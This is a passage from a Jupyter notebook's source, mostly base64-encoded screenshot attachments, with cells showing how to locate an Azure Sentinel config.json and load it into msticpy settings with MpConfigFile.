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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Plan A - If you have a config.json file\n", + "\n", + "**Step 1 - Find your config.json**\n", + "\n", + "A `config.json` is created for you if you launched a notebook from Azure Sentinel. It should\n", + "be in the root of your user folder in the Azure Sentinel Machine learning workspace.
\n", + "\n", + "![image.png](attachment:1cd346c9-24b8-42a2-94ef-ef1cc55b1f43.png)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "**Step 2 - Import and convert this file**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "mpconfig = MpConfigFile()\n", + "mpconfig.load_from_file(\"E:\\\\src\\\\asi-jupyter\\\\notebooks\\\\config.json\")\n", + "mpconfig.map_json_to_mp_ws()\n", + "mpconfig.settings" + ] + }, + { + "attachments": { + "47398a86-078d-4497-b7ec-68f496b2278d.png": { + "image/png": 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